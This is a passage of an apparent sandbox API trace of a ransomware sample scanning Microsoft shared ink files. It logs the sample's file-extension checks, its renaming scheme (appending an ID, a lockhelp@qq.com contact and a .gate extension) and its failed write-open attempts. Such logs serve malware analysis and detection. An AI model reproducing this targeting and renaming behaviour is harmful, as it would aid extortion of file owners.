[0281.619] lstrlenW (lpString=".7z") returned 3 [0281.619] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.619] lstrlenW (lpString=".dbf") returned 4 [0281.619] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.619] lstrlenW (lpString=".1cd") returned 4 [0281.619] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.619] lstrlenW (lpString=".jpg") returned 4 [0281.619] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.619] lstrlenW (lpString=".doc") returned 4 [0281.619] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.619] lstrlenW (lpString=".docx") returned 5 [0281.619] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0281.619] lstrlenW (lpString=".pdf") returned 4 [0281.619] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.619] lstrlenW (lpString=".xls") returned 4 [0281.619] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.619] lstrlenW (lpString=".xlsx") returned 5 [0281.619] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0281.619] lstrlenW (lpString=".ppt") returned 4 [0281.619] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.620] lstrlenW (lpString=".zip") returned 4 [0281.620] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.620] lstrlenW (lpString=".rar") returned 4 [0281.620] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.620] lstrlenW (lpString=".bz2") returned 4 [0281.620] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.620] lstrlenW (lpString=".7z") returned 3 [0281.620] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.620] lstrlenW (lpString=".dbf") returned 4 [0281.620] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.620] lstrlenW (lpString=".1cd") returned 4 [0281.620] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.620] lstrlenW (lpString=".jpg") returned 4 [0281.620] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.620] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0281.620] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0281.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0281.621] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10240) returned 1 [0281.621] CloseHandle (hObject=0x3d0) returned 1 [0281.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0281.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.621] lstrlenW (lpString=".doc") returned 4 [0281.621] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.621] lstrlenW (lpString=".docx") returned 5 [0281.622] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0281.622] lstrlenW (lpString=".pdf") returned 4 [0281.622] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.622] lstrlenW (lpString=".xls") returned 4 [0281.622] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.622] lstrlenW (lpString=".xlsx") returned 5 [0281.622] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0281.622] lstrlenW (lpString=".ppt") returned 4 [0281.622] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.622] lstrlenW (lpString=".zip") returned 4 [0281.622] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.622] lstrlenW (lpString=".rar") returned 4 [0281.622] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.622] lstrlenW (lpString=".bz2") returned 4 [0281.622] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.622] lstrlenW (lpString=".7z") returned 3 [0281.622] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.622] lstrlenW (lpString=".dbf") returned 4 [0281.622] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.622] lstrlenW (lpString=".1cd") returned 4 [0281.622] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.622] lstrlenW (lpString=".jpg") returned 4 [0281.622] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.622] lstrlenW (lpString=".doc") returned 4 [0281.622] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.622] lstrlenW (lpString=".docx") returned 5 [0281.623] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0281.623] lstrlenW (lpString=".pdf") returned 4 [0281.623] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.623] lstrlenW (lpString=".xls") returned 4 [0281.623] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.623] lstrlenW (lpString=".xlsx") returned 5 [0281.623] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0281.623] lstrlenW (lpString=".ppt") returned 4 [0281.623] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.623] lstrlenW (lpString=".zip") returned 4 [0281.623] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.623] lstrlenW (lpString=".rar") returned 4 [0281.623] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.623] lstrlenW (lpString=".bz2") returned 4 [0281.623] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.623] lstrlenW (lpString=".7z") returned 3 [0281.623] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.623] lstrlenW (lpString=".dbf") returned 4 [0281.623] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.623] lstrlenW (lpString=".1cd") returned 4 [0281.623] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0281.623] lstrlenW (lpString=".jpg") returned 4 [0281.623] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.624] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0281.624] lstrlenW (lpString="InkDiv.dll") returned 10 [0281.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.756] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=361472) returned 1 [0281.756] CloseHandle (hObject=0x4b0) returned 1 [0281.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0281.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.002] lstrlenW (lpString=".doc") returned 4 [0282.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0282.002] lstrlenW (lpString=".docx") returned 5 [0282.002] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0282.002] lstrlenW (lpString=".pdf") returned 4 [0282.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0282.002] lstrlenW (lpString=".xls") returned 4 [0282.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0282.002] lstrlenW (lpString=".xlsx") returned 5 [0282.002] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0282.003] lstrlenW (lpString=".ppt") returned 4 [0282.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0282.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.003] lstrlenW (lpString=".zip") returned 4 [0282.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0282.003] lstrlenW (lpString=".rar") returned 4 [0282.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0282.003] lstrlenW (lpString=".bz2") returned 4 [0282.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0282.003] lstrlenW (lpString=".7z") returned 3 [0282.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0282.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.003] lstrlenW (lpString=".dbf") returned 4 [0282.003] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0282.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.003] lstrlenW (lpString=".1cd") returned 4 [0282.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0282.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.003] lstrlenW (lpString=".jpg") returned 4 [0282.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0282.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.003] lstrlenW (lpString=".doc") returned 4 [0282.003] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0282.003] lstrlenW (lpString=".docx") returned 5 [0282.003] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0282.004] lstrlenW (lpString=".pdf") returned 4 [0282.004] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0282.004] lstrlenW (lpString=".xls") returned 4 [0282.004] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0282.004] lstrlenW (lpString=".xlsx") returned 5 [0282.004] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0282.004] lstrlenW (lpString=".ppt") returned 4 [0282.004] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0282.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.004] lstrlenW (lpString=".zip") returned 4 [0282.004] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0282.004] lstrlenW (lpString=".rar") returned 4 [0282.004] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0282.004] lstrlenW (lpString=".bz2") returned 4 [0282.004] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0282.004] lstrlenW (lpString=".7z") returned 3 [0282.004] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0282.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.004] lstrlenW (lpString=".dbf") returned 4 [0282.004] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0282.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.004] lstrlenW (lpString=".1cd") returned 4 [0282.004] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0282.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0282.004] lstrlenW (lpString=".jpg") returned 4 [0282.004] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0282.005] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0282.005] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0282.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0282.157] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10240) returned 1 [0282.157] CloseHandle (hObject=0x404) returned 1 [0282.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0282.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.158] lstrlenW (lpString=".doc") returned 4 [0282.158] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.158] lstrlenW (lpString=".docx") returned 5 [0282.158] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.158] lstrlenW (lpString=".pdf") returned 4 [0282.158] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.158] lstrlenW (lpString=".xls") returned 4 [0282.158] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.158] lstrlenW (lpString=".xlsx") returned 5 [0282.158] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.158] lstrlenW (lpString=".ppt") returned 4 [0282.158] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.158] lstrlenW (lpString=".zip") returned 4 [0282.158] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.158] lstrlenW (lpString=".rar") returned 4 [0282.158] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.158] lstrlenW (lpString=".bz2") returned 4 [0282.158] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.158] lstrlenW (lpString=".7z") returned 3 [0282.158] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.159] lstrlenW (lpString=".dbf") returned 4 [0282.159] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.159] lstrlenW (lpString=".1cd") returned 4 [0282.159] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.159] lstrlenW (lpString=".jpg") returned 4 [0282.159] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.159] lstrlenW (lpString=".doc") returned 4 [0282.159] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.159] lstrlenW (lpString=".docx") returned 5 [0282.159] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.159] lstrlenW (lpString=".pdf") returned 4 [0282.159] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.159] lstrlenW (lpString=".xls") returned 4 [0282.159] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.159] lstrlenW (lpString=".xlsx") returned 5 [0282.159] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.159] lstrlenW (lpString=".ppt") returned 4 [0282.159] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.159] lstrlenW (lpString=".zip") returned 4 [0282.159] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.159] lstrlenW (lpString=".rar") returned 4 [0282.160] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.160] lstrlenW (lpString=".bz2") returned 4 [0282.160] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.160] lstrlenW (lpString=".7z") returned 3 [0282.160] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.160] lstrlenW (lpString=".dbf") returned 4 [0282.160] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.160] lstrlenW (lpString=".1cd") returned 4 [0282.160] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0282.160] lstrlenW (lpString=".jpg") returned 4 [0282.160] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.160] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0282.160] lstrlenW (lpString="mip.exe") returned 7 [0282.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.567] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1540608) returned 1 [0282.567] CloseHandle (hObject=0x4b4) returned 1 [0282.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0282.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.568] lstrlenW (lpString=".doc") returned 4 [0282.568] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0282.568] lstrlenW (lpString=".docx") returned 5 [0282.568] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0282.568] lstrlenW (lpString=".pdf") returned 4 [0282.568] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0282.568] lstrlenW (lpString=".xls") returned 4 [0282.568] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0282.568] lstrlenW (lpString=".xlsx") returned 5 [0282.568] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0282.568] lstrlenW (lpString=".ppt") returned 4 [0282.568] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0282.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.568] lstrlenW (lpString=".zip") returned 4 [0282.568] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0282.568] lstrlenW (lpString=".rar") returned 4 [0282.568] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0282.568] lstrlenW (lpString=".bz2") returned 4 [0282.568] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0282.568] lstrlenW (lpString=".7z") returned 3 [0282.568] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0282.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.569] lstrlenW (lpString=".dbf") returned 4 [0282.569] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0282.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.569] lstrlenW (lpString=".1cd") returned 4 [0282.569] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0282.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.569] lstrlenW (lpString=".jpg") returned 4 [0282.569] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0282.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.569] lstrlenW (lpString=".doc") returned 4 [0282.569] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0282.569] lstrlenW (lpString=".docx") returned 5 [0282.569] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0282.569] lstrlenW (lpString=".pdf") returned 4 [0282.569] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0282.569] lstrlenW (lpString=".xls") returned 4 [0282.569] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0282.569] lstrlenW (lpString=".xlsx") returned 5 [0282.569] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0282.569] lstrlenW (lpString=".ppt") returned 4 [0282.569] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0282.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.569] lstrlenW (lpString=".zip") returned 4 [0282.569] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0282.569] lstrlenW (lpString=".rar") returned 4 [0282.569] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0282.569] lstrlenW (lpString=".bz2") returned 4 [0282.569] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0282.569] lstrlenW (lpString=".7z") returned 3 [0282.569] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0282.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.570] lstrlenW (lpString=".dbf") returned 4 [0282.570] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0282.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.570] lstrlenW (lpString=".1cd") returned 4 [0282.570] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0282.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0282.570] lstrlenW (lpString=".jpg") returned 4 [0282.570] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0282.570] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0282.570] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0282.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: 